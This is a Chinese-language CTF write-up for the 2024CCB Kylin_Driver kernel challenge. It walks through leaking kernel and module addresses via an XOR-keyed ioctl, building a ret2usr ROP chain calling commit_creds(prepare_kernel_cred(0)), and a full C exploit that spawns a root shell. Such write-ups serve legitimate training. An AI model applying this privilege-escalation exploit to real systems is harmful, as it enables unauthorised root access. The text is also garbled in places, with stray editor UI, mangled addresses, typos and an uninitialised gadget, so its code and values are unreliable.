

2024CCB-Kylin_Driver(ret2usr)

题目链接: [https://github.com/LxxxtSec/Kernel-](https://github.com/LxxxtSec/Kernel-challenge/blob/main/challenge/Ret2usr/2024CCB-Kylin_Driver/2024CCB-Kylin_Driver.zip)

[challenge/blob/main/challenge/Ret2usr/2024CCB-Kylin_Driver/2024CCB-Kylin_Driver.zip](https://github.com/LxxxtSec/Kernel-challenge/blob/main/challenge/Ret2usr/2024CCB-Kylin_Driver/2024CCB-Kylin_Driver.zip)

Start

```
~/桌面/kernal/2024CCB-Kylin_Driver > ls
bzImage rootfs.cpio start.sh
~/桌面/kernal/2024CCB-Kylin_Driver > file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
```

```
./lib/modules/5.10.0-9-generic/kernel/test.ko
```

分析rootfs.cpio

提取文件系统

```
~/桌面/kernal/2024CCB-Kylin_Driver/core/rootfs > ls
bin dev flag init lib linuxrc sbin usr
```

然后vmlinux用的是 `vmlinux-to-elf` 提取的

```
>>> libc = ELF('./vmlinux')
[*] '/mnt/hgfs/winshare/Kernal-Pwn/2024CCB-Kylin_Driver/vmlinux'
Arch:      amd64-64-little
Version:   5.10.0
Build:     9-generic
RELRO:     No RELRO
Stack:     Canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0xffffffff81000000)
Stack:     Executable
RWX:       Has RWX segments
```

不开pie的基地址为 `0xffffffff81000000`

然后把gadget提出来

```
1 ropper --file ./vmlinux --nocolor > gadget.txt
2 ropper --file ./test.ko --nocolor > gadget.txt
```

init分析

```
1 #!/bin/sh
2
3 mkdir /tmp
4 mkdir /proc
5 mkdir /sys
6 mount -t proc none /proc
7 mount -t sysfs none /sys
8 mount -t debugfs none /sys/kernel/debug
9 mount -t devtmpfs devtmpfs /dev
10 mount -t tmpfs none /tmp
11 mdev -s
12 echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
13
14 insmod /lib/modules/5.10.0-9-generic/kernel/test.ko
15 chmod 666 /dev/test
16
17 setsid /bin/cttyhack setuidgid 1000 /bin/sh
18
19 poweroff -d 0 -f
```

驱动文件为 `/lib/modules/5.10.0-9-generic/kernel/test.ko`，改为root模式。

修改start.sh

```
1 qemu-system-x86_64 \
2     -m 256M \
3     -kernel bzImage \
4     -initrd rootfs.cpio \
5     -monitor /dev/null \
6     -append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
7     -cpu kvm64,+smep,+smep \
8     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
9     -nographic \
10    -no-reboot \
11    -no-shutdown
```

驱动分析



```
7 int i;  
8 size_t result;  
9 char path[8] = "/tmp/x";  
10 int pid;  
11 int fd;  
12 strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");  
13 for (i = 0; i < 0x20; i++){  
14     buf[i] ^= 0xf9;  
15 }  
16 printf("%lx", buf);  
17 return 0;  
18 }
```

问题 输出 调试控制台 终端 端口

```
+++ |+#include <string.h>  
2  
xor.c:12:5: warning: incompatible implicit declaration of built-in function 'strcpy' [-Wbuiltin-declaration-mismatch]  
12     strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");  
    ~~~~~  
xor.c:12:5: note: include '<string.h>' or provide a declaration of 'strcpy'  
xor.c:16:15: warning: format '%lx' expects argument of type 'long unsigned int', but argument 2 has type 'unsigned char *' [-Wformat=]  
16     printf("%lx", buf);  
           ~~~~  
           |  
           | unsigned char *  
           | long unsigned int  
           |%hn  
~/.桌面/kernal/2024CCB-Kylin_Driver } ./xor  
7ffedb05b590
```

① 你的系统上安装了 Docker。是否要为其安装推荐的 来自 Microsoft 的 "Dev Containers" 扩展?

安装 显示更多

利用思路

首先进行一些前置的操作

```
1 unsigned char buf[0x1000] = {0};
2 size_t *ptr = buf + 0x20;
3
4 int pid = fork();
5 if(pid == 0){
6     int fd = open("/dev/test", 2);
7     if(fd == -1){
8         perror("open");
9         exit(EXIT_FAILURE);
10    }
11
12    strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");
13    for(int i = 0; i < 0x20; i++){
14        buf[i] ^= 0xf9;
15    }
16    ioctl(fd, GET, buf);
```

这一部分主要是一个验证，此时我们GET命令后程序会给buf+0x20进行赋值，之后再进行一个泄露

```
1 int j, k;
2 size_t ret_addr[30] = {0};
3 for(j = 0; j < 30; j++){
4     for(k = 0; k < 8; k++){
5         buf[0x20 + j * 8 + k] ^= 0xf9;
6     }
7     ret_addr[j] = *(long long*)(buf + 0x20 + j*8);
8     printf("ret_addr[%d] = 0x%llx\n", j, ret_addr[j]);
9 }
```

```

ret_addr[16] = 0xffffffff9c
ret_addr[17] = 0xffffb9d580627eb4
ret_addr[18] = 0x3
ret_addr[19] = 0x0
ret_addr[20] = 0xffffb9d580627ea0
ret_addr[21] = 0xffffffff82f2a555
ret_addr[22] = 0xffff9daac33f9ca0
ret_addr[23] = 0xffff9daac22e7840
ret_addr[24] = 0x4c9a2116d
ret_addr[25] = 0xffff9daac1296025
ret_addr[26] = 0x0
ret_addr[27] = 0xffff9daac1404300
ret_addr[28] = 0xffff9daac3382b90

```

可以看到成功输出了地址，也就是buf+0x20之后的内容

```

/sys/module/test/sections # cat .text
0xfffffffffc002e000

```

获取加载地址

```

ret_addr[20] = 0xffffbbf9c0627ea0
ret_addr[21] = 0xfffffffffb9f2a555
ret_addr[22] = 0xffff915843400ca0
ret_addr[23] = 0xffff9158422e7e40
ret_addr[24] = 0x4b576c84f
ret_addr[25] = 0xffff915841297025
ret_addr[26] = 0x0
ret_addr[27] = 0xffff915841404000
ret_addr[28] = 0xffff915843393978

```

[QEMU target detected - vmmmap result might not be accurate; see 'help vmmmap']
 pwndbg> vmmmap 0xfffffffffb9f2a555
 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

Start	End	Perm	Size	Offset	File
0xffff91584f22c000	0xffff91584fa2c000	rw-p	800000	0	<explored>
0xfffffb9c000000	0xfffffbba041000	rw-p	441000	0	<explored> +0x32a555
0xfffffbba3f1000	0xfffffbba03000	rw-p	612000	0	<explored>

在IDA中找到偏移

```

>>> hex(libc.sym['prepare_kernel_cred']-nopiebase)
'0xcfbe0'
>>> hex(libc.sym['commit_creds']-nopiebase)
'0xcf720'

```

泄露出需要用的函数的地址

```

1 size_t kernel_leak = ret_addr[21];
2 size_t offset = kernel_leak - 0x32a555 - vmlinux_base;
3 printf("kernel_offset = 0x%llx\n", offset);
4 size_t prepare_kernel_cred = vmlinux_base + offset + 0xcfbe0;
5 size_t commit_creds = vmlinux_base + offset + 0xcf720;
6 printf("prepare_kernel_cred = 0x%llx\n", prepare_kernel_cred);
7 printf("commit_creds = 0x%llx\n", commit_creds);

```

```
prepare_kernel_cred = 0xfffffffff4cfbe0
commit_creds = 0xfffffffff4cf720
```

然后就是构造 `commit_creds(prepare_kernel_cred(0))` 提权

ROP:

```
1 int idx = 0;
2 //prepare_kernel_cred(0);
3 rop[idx++] = mov_rax_r12_pop_r12_pop_rbp;
4 rop[idx++] = (size_t)0x0;
5 rop[idx++] = (size_t)0;
6 rop[idx++] = mov_rax_r12_pop_r12_pop_rbp;
7 rop[idx++] = (size_t)0x0;
8 rop[idx++] = (size_t)0;
9 rop[idx++] = mov_rdi_rax;
10 rop[idx++] = prepare_kernel_cred;
11 //commit_creds(prepare_kernel_cred(0))
12 rop[idx++] = mov_rdi_rax;
13 rop[idx++] = commit_creds;
14 rop[idx++] = swapgs;
15 rop[idx++] = iretq;
16 rop[idx++] = getshell;
17 rop[idx++] = user_cs;
18 rop[idx++] = user_rflags;
19 rop[idx++] = user_rsp;
20 rop[idx++] = user_ss;
```

将init中启动用户改为普通用户，接着进入虚拟机运行exp即可getshell

```
kernel_offset = 0x5d200000
prepare_kernel_cred = 0xfffffffffbb2cfbe0
commit_creds = 0xfffffffffbb2cf720
module_base = 0xffffffffc00f0000
[+] got user stat
uid=1000 gid=1000 groups=1000
~ $ ls
bin          exp.c        lib          root         sys
dev          flag        linuxrc     rootfs.cpio  tmp
```

exp:

```

1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  #include <unistd.h>
5  #include <fcntl.h>
6  #include <sys/ioctl.h>
7  #include <sys/wait.h>
8  #include <signal.h>
9
10 #define GET 0xDEADBEEF
11 #define ROP 0xFEEDFACE
12
13 unsigned char buf[0x1000] = {0};
14 int i;
15 size_t vmlinux_base = 0xffffffff81000000;
16
17 void getshell()
18 {
19     printf("****getshell****");
20     system("id");
21     system("/bin/sh");
22 }
23
24 size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
25 void save_status()
26 {
27     __asm__ (".intel_syntax noprefix\n");
28     __asm__ volatile (
29         "mov user_cs, cs;\n"
30         "mov user_ss, ss;\n"
31         "mov user_gs, gs;\n"
32         "mov user_ds, ds;\n"
33         "mov user_es, es;\n"
34         "mov user_rsp, rsp;\n"
35         "pushf;\n"
36         "pop user_rflags"
37     );
38     printf("[+] got user stat\n");
39 }
40
41
42 int main(){
43     int fd = open("/dev/test", O_RDWR);
44     strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");
45     for (i = 0; i < 0x20; i++)
46     {
47         buf[i] ^= 0xf9;

```

```

48     }
49     unsigned char passwd = buf;
50     ioctl(fd, GET, buf);
51
52     int j, k;
53     size_t ret_addr[30] = {0};
54     for(j = 0; j < 30; j++){
55         for(k = 0; k < 8; k++){
56             buf[0x20 + j * 8 + k] ^= 0xf9;
57         }
58         ret_addr[j] = *(long long*)(buf + 0x20 + j*8);
59         printf("ret_addr[%d] = 0x%llx\n", j, ret_addr[j]);
60     }
61     size_t kernel_leak = ret_addr[21];
62     size_t offset = kernel_leak - 0x32a555 - vmlinux_base;
63     printf("kernel_offset = 0x%llx\n", offset);
64     size_t prepare_kernel_cred = vmlinux_base + offset + 0xcfbe0;
65     size_t commit_creds = vmlinux_base + offset + 0xcf720;
66     printf("prepare_kernel_cred = 0x%llx\n", prepare_kernel_cred);
67     printf("commit_creds = 0x%llx\n", commit_creds);
68
69     size_t leak = *(long long*)(buf + 0x20);
70     printf("module_base = 0x%llx\n", leak);
71     //0x0000000000000009: mov rdi, rax; ret;
72     //0x0000000000000011: swapgs; ret;
73     //0x0000000000000015: iretq; ret;
74     //0x000000000000002C3: mov rax r12; pop r12; pop rbp;
75     size_t mov_rdi_rax = leak + 0x9;
76     size_t swapgs = leak + 0x11;
77     size_t iretq = leak + 0x15;
78     size_t mov_rax_r12_pop_r12_pop_rbp;
79
80     size_t rop[0x40] = {0};
81     save_status();
82     signal(SIGSEGV, getshell);
83     int idx = 0;
84     //prepare_kernel_cred(0);
85     rop[idx++] = mov_rax_r12_pop_r12_pop_rbp;
86     rop[idx++] = (size_t)0x0;
87     rop[idx++] = (size_t)0;
88     rop[idx++] = mov_rax_r12_pop_r12_pop_rbp;
89     rop[idx++] = (size_t)0x0;
90     rop[idx++] = (size_t)0;
91     rop[idx++] = mov_rdi_rax;
92     rop[idx++] = prepare_kernel_cred;
93     //commit_creds(prepare_kernel_cred(0))
94     rop[idx++] = mov_rdi_rax;

```



```
95     rop[idx++] = commit_creds;
96     rop[idx++] = swapgs;
97     rop[idx++] = iretq;
98     rop[idx++] = getsshell;
99     rop[idx++] = user_cs;
100    rop[idx++] = user_rflags;
101    rop[idx++] = user_rsp;
102    rop[idx++] = user_ss;
103
104    int payload_length = idx * 8;
105    for(int l = 0; l < payload_length; l++){
106        *((char*)rop + l) ^= 0xf9;
107    }
108    strcat(passwd, (char*)rop);
109    ioctl(fd, ROP, passwd);
110    close(fd);
111
112    return 0;
113 }
```